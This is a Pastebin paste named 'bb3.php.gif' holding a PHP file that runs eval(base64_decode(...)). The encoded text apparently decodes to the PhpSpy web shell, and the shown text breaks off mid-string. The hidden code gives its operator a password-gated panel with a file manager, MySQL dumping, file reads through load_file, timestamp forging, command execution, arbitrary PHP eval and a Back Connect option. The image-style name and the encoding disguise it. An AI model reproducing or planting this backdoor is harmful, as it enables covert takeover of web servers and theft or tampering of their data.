PalmaSolutions

bb3.php.gif

Mar 30th, 2018
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 91.33 KB | None | 0 0
  1. <?
  2. eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0
  3. YXJ0KCk7DQokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KJHN0YXJ0dGltZSA9
  4. ICRtdGltZVsxXSArICRtdGltZVswXTsNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdc
  5. XCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQovL2RlZmluZSgnSVNfV0lOJywgc3Ry
  6. c3RyKFBIUF9PUywgJ1dJTicpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZ
  7. X1NFUEFSQVRPUiA9PSAnXFwnKTsNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00n
  8. KSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0K
  9. JGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lT
  10. X1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQpAc2V0
  11. X3RpbWVfbGltaXQoMCk7DQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVx
  12. dWVzdCkgew0KCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7DQoJCWlm
  13. ICgkX2tleXswfSAhPSAnXycpIHsNCgkJCWlmIChJU19HUEMpIHsNCgkJCQkkX3ZhbHVlID0gc19h
  14. cnJheSgkX3ZhbHVlKTsNCgkJCX0NCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoJCX0NCgl9DQp9DQoN
  15. Ci8qPT09PT09PT09PT09PT09PT09PT09ILPM0PLF5NbDID09PT09PT09PT09PT09PT09PT09PSov
  16. DQokYWRtaW4gPSBhcnJheSgpOw0KLy8gyse38dDo0qrD3MLr0enWpCwgdHJ1ZSDOqtDo0qrR6dak
  17. LCBmYWxzZSDOqtaxvdO9+MjrLs/Cw+bRoc/u1PLO3tCnDQokYWRtaW5bJ2NoZWNrJ10gPSBmYWxz
  18. ZTsNCi8vIMjnufvQ6NKqw9zC69Hp1qQsx+vQ3rjEtcfCvcPcwusNCiRhZG1pblsncGFzcyddICA9
  19. ICd4aDRjazNyJzsNCg0KLy/I58T6ttQgY29va2llINf308O3ts6n09DM2Mri0qrH8ywgu/K1x8K8
  20. srvV/bOjLCDH69DeuMTPwsPmseTBvywgt/HU8sfrsaOz1sSsyM8NCi8vIGNvb2tpZSDHsNe6DQok
  21. YWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQovLyBjb29raWUg1/fTw9PyDQokYWRtaW5bJ2Nvb2tp
  22. ZWRvbWFpbiddID0gJyc7DQovLyBjb29raWUg1/fTw8K3vrYNCiRhZG1pblsnY29va2llcGF0aCdd
  23. ID0gJy8nOw0KLy8gY29va2llINPQ0KfG2g0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsN
  24. Ci8qPT09PT09PT09PT09PT09PT09PT09IMXk1sO94cr4ID09PT09PT09PT09PT09PT09PT09PSov
  25. DQoNCmlmICgkY2hhcnNldCA9PSAndXRmOCcpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4
  26. dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7
  27. DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1iaWc1Iik7DQp9IGVs
  28. c2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9o
  29. dG1sOyBjaGFyc2V0PWdiayIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdsYXRpbjEnKSB7DQoJ
  30. aGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7DQp9
  31. DQoNCiRzZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6
  32. ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KJHRpbWVzdGFtcCA9IHRpbWUoKTsNCg0KLyo9PT09
  33. PT09PT09PT09PT09PT09PT0gye233dHp1qQgPT09PT09PT09PT09PT09PT09PT09Ki8NCmlmICgk
  34. YWN0aW9uID09ICJsb2dvdXQiKSB7DQoJc2Nvb2tpZSgncGhwc3B5cGFzcycsICcnLCAtODY0MDAg
  35. KiAzNjUpOw0KCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScu
  36. JHNlbGYuJyI+Jyk7DQoJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRz
  37. ZWxmLiciPlN1Y2Nlc3M8L2E+Jyk7DQoJZXhpdDsNCn0NCmlmKCRhZG1pblsnY2hlY2snXSkgew0K
  38. CWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3
  39. b3JkKSB7DQoJCQlzY29va2llKCdwaHBzcHlwYXNzJywgJHBhc3N3b3JkKTsNCgkJCXAoJzxtZXRh
  40. IGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoJCQlw
  41. KCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2Vzczwv
  42. YT4nKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYgKCRfQ09PS0lFWydwaHBzcHlwYXNzJ10pIHsN
  43. CgkJaWYgKCRfQ09PS0lFWydwaHBzcHlwYXNzJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCgkJCWxv
  44. Z2lucGFnZSgpOw0KCQl9DQoJfSBlbHNlIHsNCgkJbG9naW5wYWdlKCk7DQoJfQ0KfQ0KLyo9PT09
  45. PT09PT09PT09PT09PT09PT0g0enWpL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KJGVy
  46. cm1zZyA9ICcnOw0KDQovLyCy6b+0UEhQSU5GTw0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7
  47. DQoJaWYgKElTX1BIUElORk8pIHsNCgkJcGhwaW5mbygpOw0KCX0gZWxzZSB7DQoJCSRlcnJtc2cg
  48. PSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KCX0NCn0NCg0KLy8g
  49. z8LU2M7EvP4NCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KCWlmICgh
  50. QGZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50
  51. IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCX0gZWxzZSB7DQoJCSRmaWxlaW5mbyA9
  52. IHBhdGhpbmZvKCR0aGVmaWxlKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9u
  53. L3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0
  54. aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJCWhl
  55. YWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJHRoZWZpbGUpKTsNCgkJQHJlYWRmaWxl
  56. KCR0aGVmaWxlKTsNCgkJZXhpdDsNCgl9DQp9DQoNCi8vINaxvdPPwtTYsbi33cr9vt2/4g0KaWYg
  57. KCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgew0KCWRiY29ubigkZGJo
  58. b3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJJHRh
  59. YmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOw0K
  60. CWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkkZmlsZW5h
  61. bWUgPSBiYXNlbmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19NeVNRTC5zcWwnKTsNCgloZWFk
  62. ZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KCWhlYWRlcignQ29udGVu
  63. dC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCSRteXNx
  64. bGRhdGEgPSAnJzsNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQp
  65. KSB7DQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkkbXlzcWxkYXRhIC49
  66. IHNxbGR1bXB0YWJsZSgkY3Vycm93WzBdKTsNCgkJfQ0KCX0NCglteXNxbF9jbG9zZSgpOw0KCWV4
  67. aXQ7DQp9DQoNCi8vIM2ouf1NWVNRTM/C1NjOxLz+DQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsN
  68. CglpZiAoISRkYm5hbWUpIHsNCgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsNCgl9
  69. IGVsc2Ugew0KCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNo
  70. YXJzZXQsICRkYnBvcnQpOw0KCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsNCgkJ
  71. CSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVu
  72. dCc7DQoJCX0gZWxzZSB7DQoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3Fs
  73. ZGxmaWxlJyk7Iik7DQoJCQlpZighJHJlc3VsdCl7DQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElT
  74. VFMgdG1wX2FuZ2VsOyIpOw0KCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQg
  75. TE9OR0JMT0IgTk9UIE5VTEwpOyIpOw0KCQkJCS8v08PKsbzktMHAtLHtyr692LbPLLHcw+Kz9s/W
  76. tsHIodfUye278rD8uqxfX2FuZ2VsXzExMTExMTExMTFfZW9mX1+1xM7EvP7KsbK7zerV+7XEx+m/
  77. 9g0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZp
  78. bGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2Vs
  79. X3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdf
  80. X2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBj
  81. b250ZW50IGZyb20gdG1wX2FuZ2VsIik7DQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsN
  82. CgkJCX0NCgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQlpZiAoISRy
  83. b3cpIHsNCgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOw0K
  84. CQkJfSBlbHNlIHsNCgkJCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOw0KCQkJ
  85. CWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNp
  86. b24nXSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxl
  87. bmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3Ro
  88. OiAiLnN0cmxlbigkcm93WzBdKSk7DQoJCQkJZWNobyAkcm93WzBdOw0KCQkJCWV4aXQ7DQoJCQl9
  89. DQoJCX0NCgl9DQp9DQoNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29u
  90. dGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIj4NCjx0aXRsZT48P3Bo
  91. cCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PjwvdGl0bGU+DQo8c3R5
  92. bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0ZHtmb250OiAxMnB4IEFyaWFsLFRhaG9tYTtsaW5l
  93. LWhlaWdodDogMTZweDt9DQouaW5wdXR7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtiYWNrZ3JvdW5k
  94. OiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDtoZWlnaHQ6MjJweDt9DQou
  95. YXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjti
  96. b3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30NCi5idCB7Ym9yZGVyLWNvbG9yOiNi
  97. MGIwYjA7YmFja2dyb3VuZDojM2QzZDNkO2NvbG9yOiNmZmZmZmY7Zm9udDoxMnB4IEFyaWFsLFRh
  98. aG9tYTtoZWlnaHQ6MjJweDt9DQphIHtjb2xvcjogIzAwZjt0ZXh0LWRlY29yYXRpb246dW5kZXJs
  99. aW5lO30NCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KLmFsdDEg
  100. dGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRk
  101. O2JhY2tncm91bmQ6I2YxZjFmMTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7
  102. Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2Jh
  103. Y2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2Jv
  104. cmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNr
  105. Z3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5oZWFkIHRke2JvcmRl
  106. ci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3Jv
  107. dW5kOiNlOWU5ZTk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0K
  108. LmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KZm9ybXttYXJnaW46MDtwYWRkaW5n
  109. OjA7fQ0KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7
  110. Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9DQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9y
  111. OiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQp1e3RleHQtZGVjb3JhdGlvbjog
  112. bm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJn
  113. aW4tcmlnaHQ6MTBweDt9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQi
  114. Pg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50
  115. cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFt
  116. ZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9
  117. DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlk
  118. KTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFs
  119. dWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4N
  120. Cjxib2R5IHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJl
  121. YWstYWxsIj4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIg
  122. Y2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZCI+DQoJCTx0ZD48c3BhbiBzdHlsZT0i
  123. ZmxvYXQ6cmlnaHQ7Ij48YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldCIgdGFyZ2V0PSJfYmxh
  124. bmsiPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdQLmgucC5TLnAueScpOz8+IFZlcjog
  125. MjAwODwvYT48L3NwYW4+PD9waHAgZWNobyAkX1NFUlZFUlsnSFRUUF9IT1NUJ107Pz4gKDw/cGhw
  126. IGVjaG8gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk7Pz4pPC90ZD4NCgk8
  127. L3RyPg0KCTx0ciBjbGFzcz0iYWx0MSI+DQoJCTx0ZD48c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7
  128. Ij5TYWZlIE1vZGU6PD9waHAgZWNobyBnZXRjZmcoJ3NhZmVfbW9kZScpOz8+PC9zcGFuPg0KCQkJ
  129. PGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgDQoJ
  130. CQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+
  131. IHwgDQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxhZG1pbicpOyI+TXlTUUwg
  132. TWFuYWdlcjwvYT4gfCANCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUn
  133. KTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfCANCgkJCTxhIGhyZWY9ImphdmFz
  134. Y3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgDQoJCQk8YSBo
  135. cmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdwaHBlbnYnKTsiPlBIUCBWYXJpYWJsZTwvYT4gfCAN
  136. CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8
  137. L2E+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2Fj
  138. dGlvbignYmFja2Nvbm5lY3QnKTsiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4NCgkJPC90ZD4N
  139. Cgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFk
  140. ZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJy
  141. YXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgp
  142. Ow0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vILvxyKG1scewwre+tg0KISRkaXIgJiYg
  143. JGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJz
  144. dHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVl
  145. KCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vIMXQ
  146. ts+2wdC0x+m/9g0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdX
  147. cml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vIMm+s/3Ev8K8DQoJaWYgKCRkb2luZyA9
  148. PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkg
  149. ew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ug
  150. ew0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1l
  151. KCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vILS0vajE
  152. v8K8DQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rp
  153. cm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWN0b3J5IGhh
  154. cyBhbHJlYWR5IGV4aXN0ZWQnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVk
  155. ICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJCUBj
  156. aG1vZCgkbWtkaXJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gyc+0q87EvP4NCgllbHNlaWYgKCRk
  157. b3VwZmlsZSkgew0KCQltKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxl
  158. J11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1l
  159. J10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgl9DQoNCgkvLyCx4LytzsS8/g0KCWVsc2Vp
  160. ZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0
  161. ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVu
  162. dCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8g
  163. seC8rc7EvP7K9NDUDQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxl
  164. X2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlz
  165. dCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwx
  166. MCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Bl
  167. cm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vILjEw/sNCgllbHNl
  168. aWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3
  169. ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xk
  170. bmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBm
  171. aWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1l
  172. KS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkg
  173. PyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vILi01sbOxLz+DQoJZWxz
  174. ZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwg
  175. IWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkg
  176. ZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJ
  177. CQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/
  178. IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJ
  179. Ly8gv8vCocqxvOQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZp
  180. bGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgn
  181. VGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBu
  182. b3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7
  183. DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUs
  184. JHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vINfU
  185. tqjS5cqxvOQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYm
  186. ICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3Vy
  187. ZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJ
  188. fSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjok
  189. bWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcu
  190. KEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0K
  191. CQl9DQoJfQ0KDQoJLy8gtPKw/M/C1NgNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0K
  192. CQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0
  193. aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRm
